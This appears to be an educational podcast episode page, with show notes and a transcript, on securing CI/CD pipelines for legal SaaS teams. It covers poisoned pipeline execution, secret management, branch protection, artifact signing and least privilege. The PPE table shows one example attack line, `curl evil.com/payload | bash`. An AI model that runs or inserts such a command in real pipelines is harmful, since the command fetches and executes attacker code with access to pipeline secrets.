Episode 46 · Module 10 · Infrastructure

CI/CD Pipeline Security

19 May 2026 · 8:42 · Security for Legal SaaS

8:42 8:42

CI/CD — Continuous Integration and Continuous Deployment — is the automated pipeline that takes your source code, builds it, tests it, and deploys it to production. Every time a developer pushes a code change, the pipeline runs: compile, test, package into a container (as we discussed in Episode 45), deploy. Here is the uncomfortable reality: your CI/CD pipeline has access to production credentials, container registries, cloud APIs, database connection strings, and signing keys. It runs arbitrary code — whatever is defined in the pipeline configuration file. It is, by a wide margin, the most powerful system in your organisation. And in most legal SaaS teams, it is also the least hardened.

Today’s Lesson

Security for Legal SaaS — Episode 46: CI/CD Pipeline Security

The Most Powerful System You Own

Here is the uncomfortable reality: your CI/CD pipeline has access to production credentials, container registries, cloud APIs, database connection strings, and signing keys. It runs arbitrary code — whatever is defined in the pipeline configuration file. It is, by a wide margin, the most powerful system in your organisation. And in most legal SaaS teams, it is also the least hardened.

The OWASP Top 10 CI/CD Security Risks ¹ project catalogs the most critical attack vectors. The introduction states what security teams already know: CI/CD pipelines are "the most privileged systems in most organisations' infrastructure, holding credentials to deploy to production, push container images, query cloud APIs, and configure databases, yet they are frequently the least hardened, least monitored, and most credential-dense environments."

The Pipeline as Attack Surface

An attacker who compromises your CI/CD pipeline doesn't need to find a vulnerability in your application. They can inject malicious code directly into your build process and have it deployed to production automatically. This is not theoretical.

The Wiz security research team documented ² how attackers have exploited GitHub Actions workflows to steal secrets, inject backdoors, and compromise downstream systems. In March 2025, attackers compromised the popular `tj-actions/changed-files` GitHub Action, affecting over 23,000 repositories. Every pipeline that used that Action executed attacker-controlled code with full access to the pipeline's secrets.

GitGuardian's 2026 State of Secrets Sprawl report ³ found nearly 29 million new secrets exposed on public GitHub in 2025 — a 34% year-over-year increase. CI/CD configuration files and build artifacts were among the primary exposure vectors.

Sobering statistic: 59% of machines with compromised credentials in 2025 were CI/CD runners, not developer laptops. Pipelines — not people — are the primary breach surface.

Poisoned Pipeline Execution (PPE)

OWASP's CICD-SEC-4: Poisoned Pipeline Execution ⁴ describes three variants of pipeline poisoning:

Variant	How It Works	Example
Direct PPE (D-PPE)	Attacker modifies the pipeline config file (e.g., `.github/workflows/ci.yml`) in a branch or pull request	Changing the build step to `curl evil.com/payload \	bash`
Indirect PPE (I-PPE)	Attacker modifies files referenced by the pipeline config — build scripts, Makefiles, test configurations	Poisoning a test script that the pipeline executes
Public PPE (3PE)	Open-source repos allow external contributors to submit pull requests that trigger pipelines	A forked PR that modifies the build process

The impact is devastating: "Once able to execute malicious code within the CI pipeline, the attacker can conduct a wide array of malicious operations, all within the context of the pipeline's identity." This includes access to every secret available to the job — cloud credentials, registry tokens, deployment keys, database passwords.

For legal SaaS platforms, the consequence is direct: an attacker who poisons your pipeline can deploy a backdoored version of your contract review tool, your case management system, or your client portal — and your own deployment process delivers it to production.

Secret Management in Pipelines

Secrets are the most sensitive assets in your pipeline. The OWASP CI/CD Security Cheat Sheet ⁵ provides clear guidance:

Never hardcode secrets in pipeline configuration files. This seems obvious, but it remains one of the most common findings in security assessments. A database password in `.github/workflows/deploy.yml` is visible to every developer with repository access — and to every fork.

Use your CI platform's native secret management. GitHub Actions has encrypted secrets. GitLab CI has CI/CD variables with masking. Both inject secrets as environment variables at runtime and redact them from logs. But be aware of the limits — secrets injected as environment variables are visible to any process running in that pipeline step.

Integrate with an external secrets manager. For production credentials, use HashiCorp Vault (introduced in Episode 15) or your cloud provider's secrets manager (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault). The pipeline authenticates to the secrets manager, retrieves only the credentials it needs for that specific deployment, and those credentials are short-lived — they expire after the deployment completes.

Defence in depth for secrets: Even with external secrets managers, limit what each pipeline job can access. A job that runs unit tests should not have access to production database credentials. A job that builds documentation should not have access to cloud deployment keys. Scope secrets to specific jobs, not the entire pipeline.

Branch Protection and Code Review

Pipeline poisoning often starts with a malicious code change reaching a branch that triggers deployment. Branch protection rules are your first line of defence.

GitHub's branch protection features ⁶ and equivalent features in GitLab and Bitbucket allow you to:

Require pull request reviews before merging to protected branches (main, production)
Require status checks — automated tests must pass before merge is allowed
Require signed commits — commits must be cryptographically signed, proving the author's identity
Restrict who can push — only designated team members can push directly to protected branches
Dismiss stale reviews — new commits invalidate existing approvals, requiring re-review

For a legal SaaS team, the minimum configuration on your production branch should be: at least one reviewer, passing CI checks, and no direct pushes. This ensures that no single developer — and no compromised developer account — can push malicious code straight to production.

Artifact Integrity — Signing Build Outputs

Your pipeline produces artifacts — container images, compiled binaries, deployment packages. How do you know the artifact deployed to production is the same one your pipeline built? An attacker who compromises your container registry can replace a legitimate image with a backdoored one.

Sigstore and Cosign ⁷ provide keyless signing for container images. The pipeline signs the image as part of the build process. At deployment, the orchestrator verifies the signature before running the image. If the image was tampered with, the signature check fails and deployment is blocked.

SLSA (Supply-chain Levels for Software Artifacts) ⁸ — which we'll explore in depth next episode — defines four levels of build integrity. At Level 2, the build process generates a signed provenance attestation — a cryptographic proof documenting what was built, from which source, by which build system. This connects directly to the provenance chains we discussed in Episode 43, but applied to the build process itself rather than AI outputs.

Least Privilege for Pipeline Service Accounts

Pipeline service accounts — the identities your CI/CD system uses to interact with cloud providers, registries, and deployment targets — are consistently over-privileged. The Akeyless research on CI/CD secret mismanagement ⁹ found that most pipeline service accounts have far broader permissions than necessary, often because they were set up once with admin-level access and never scoped down.

The principle of least privilege (introduced in Episode 8) applies directly:

Pipeline Stage	Needed Permissions	Common Over-Privilege
Build	Read source code, write build artifacts	Full repo admin access
Test	Read test data, run containers locally	Access to production databases
Deploy	Push to specific container registry, update specific services	Full cloud admin
Rollback	Update specific services to previous version	Delete infrastructure

Each stage should have its own service account with the minimum permissions required. A deploy account should be able to deploy — but never destroy infrastructure. A test account should be able to read test data — but never touch production.

Hardening CI/CD strategies from Visual Studio Magazine ¹⁰ recommends treating pipeline permissions as a security-critical configuration that requires review — not a one-time setup that gets forgotten.

Key takeaway: Your CI/CD pipeline is simultaneously your most powerful and most targeted system. Secure it with the same rigour you apply to production infrastructure: external secrets management, branch protection with mandatory reviews, signed artifacts, least-privilege service accounts, and continuous monitoring of pipeline execution. If your pipeline is compromised, your production is compromised — and your deployment process delivered the attack.

What's Next

Next episode, we zoom out from the pipeline to the broader software supply chain. When you didn't write 95% of your application's code, supply chain security — SBOMs, dependency scanning, build provenance, and lessons from SolarWinds and xz-utils — becomes a survival skill.

Sources & references

Alice: Welcome back to Security for Legal SaaS. I'm Alice.

Dan: And I'm Dan. Episode 46 — CI/CD pipeline security. Alice, last episode we talked about hardening the containers themselves. Now we're talking about the system that builds and deploys those containers?

Alice: Right. CI/CD — Continuous Integration and Continuous Deployment — is the automated pipeline that takes your code, builds it, tests it, packages it into a container, and deploys it to production. Every time a developer pushes a change, this pipeline runs. And here's the thing most teams don't think about: this pipeline has access to everything. Production database credentials. Cloud provider keys. Container registry tokens. Deployment permissions. It runs arbitrary code — whatever's defined in the pipeline configuration file. It is the most powerful system in your organisation.

Dan: Mm. And I'm guessing it's not treated that way?

Alice: Almost never. OWASP — the Open Web Application Security Project — published a dedicated Top 10 list just for CI/CD security risks. Their assessment is blunt: these pipelines are "the most privileged systems in most organisations' infrastructure" and "frequently the least hardened, least monitored, and most credential-dense environments." That's a dangerous combination.

Dan: Right. So what does an attack on a CI/CD pipeline actually look like?

Alice: Let me describe the most elegant version — it's called Poisoned Pipeline Execution. Imagine your legal SaaS platform uses GitHub Actions for CI/CD. Every pull request triggers the pipeline: run tests, build the container, deploy if the tests pass. An attacker submits a pull request. They don't even need to change your application code. They modify the pipeline configuration file — or a build script, or a test file that the pipeline executes — and inject a command that sends every secret in the pipeline to an external server. When the pipeline runs, it executes the attacker's code with full access to your secrets.

Dan: Hmm. That's not attacking the application at all. That's attacking the build process.

Alice: Exactly. And it's devastatingly effective. In March 2025, attackers compromised a popular GitHub Action called "changed-files" that was used by over 23,000 repositories. Every pipeline that ran that Action executed attacker-controlled code. The secrets — cloud credentials, deployment keys, registry tokens — were exfiltrated silently. Your own deployment process delivers the attack.

Dan: Mm. That's sobering. So how do you defend against this?

Alice: Multiple layers. Let's start with secrets. Never — and I mean never — hardcode a secret in a pipeline configuration file. No database password in your workflow YAML. No API key in your build script. Use your CI platform's native secret management — GitHub has encrypted secrets, GitLab has masked variables. These inject secrets as environment variables at runtime and redact them from logs.

Dan: Yeah, but is that enough?

Alice: <sigh> For production credentials, no. Platform secrets are a reasonable baseline, but they're available to any code that runs in that pipeline step. The better approach is to integrate with an external secrets manager — HashiCorp Vault, AWS Secrets Manager, or your cloud provider's equivalent. The pipeline authenticates to the vault, retrieves only the specific credentials it needs for that specific job, and those credentials are short-lived — they expire after the deployment completes. Even if an attacker exfiltrates them, they're useless within minutes.

Dan: Mm-hmm. What about the poisoned pipeline problem? How do you stop someone from injecting malicious code into the build?

Alice: Branch protection. Your main and production branches should require pull request reviews before merging. At least one reviewer, passing CI checks, no direct pushes. This means no single developer — and no compromised developer account — can push code straight to production without another human reviewing it. You should also require signed commits, which prove the author's identity cryptographically. And dismiss stale reviews — if a developer pushes new commits after the reviewer approved, the approval is invalidated and re-review is required.

Dan: Right. That stops a compromised account from slipping something in after the review.

Alice: Exactly. And there's a subtlety here for pipeline security specifically. Even with branch protection on your main branch, the pipeline configuration itself might be modifiable through pull requests. Some CI systems will execute the pipeline config from the pull request branch, not from the protected main branch. That means the attacker's modified pipeline runs before any review happens. GitHub Actions handles this through workflow approval requirements for first-time contributors and through the `pull_request_target` event, which runs the workflow from the base branch. Check your CI platform's documentation for this specific scenario — it's one of the most common misconfiguration gaps.

Dan: Mm. Let me ask about the output side. The pipeline builds a container image. How do you know that image hasn't been tampered with between build and deployment?

Alice: You sign it. Sigstore's Cosign tool provides keyless signing for container images. "Keyless" means you don't have to manage a long-lived private key — the pipeline authenticates with its existing identity, gets a short-lived signing certificate, signs the image, and the signature is recorded in a tamper-evident transparency log. At deployment, your orchestrator verifies the signature before running the image. If someone replaces the image in your registry with a backdoored version, the signature won't match and deployment is blocked.

Dan: Yeah, that's like a notarised document — you can verify it wasn't altered after signing.

Alice: Good analogy. And this connects to what we'll cover next episode — supply chain security and build provenance. The idea is not just that the image was signed, but that you can prove what source code it was built from, which build system produced it, and that no one tampered with the process.

Dan: One more thing — pipeline service accounts. The identities the pipeline uses to deploy. Are those typically well-scoped?

Alice: Almost never. The pattern is depressingly common: someone sets up the pipeline, gives the service account admin access because it's easy, and moves on. That service account now has permission to destroy infrastructure, delete databases, modify IAM policies — none of which the pipeline needs. The principle of least privilege applies here as much as anywhere else. A build job needs read access to source code and write access to build artifacts. A deploy job needs permission to push to a specific container registry and update specific services. A rollback job needs to update services to a previous version. None of them need admin access. Scope them tightly.

Dan: Mm. And for a legal SaaS team building a case management platform or a document review tool, this pipeline security is directly protecting client data.

Alice: Directly. If your pipeline is compromised, the attacker can deploy whatever they want to your production environment. A backdoored version of your contract review tool that exfiltrates client documents. A modified authentication service that gives the attacker admin access. Your clients — law firms handling privileged communications — would never know until the breach is discovered. Pipeline security is client data security.

Dan: Strong point. Next episode — supply chain security. SBOMs, dependency scanning, build provenance, and what SolarWinds and xz-utils taught us about trusting the code we didn't write.

Alice: Until then, I'm Alice.

Dan: And I'm Dan.

Alice: Security for Legal SaaS is a series written with AI assistance. Alice and Dan are AI-generated voices — no professional advice here, just education.

Security for Legal SaaS is a series written with AI assistance. Alice and Dan are AI-generated voices — no professional advice here, just education.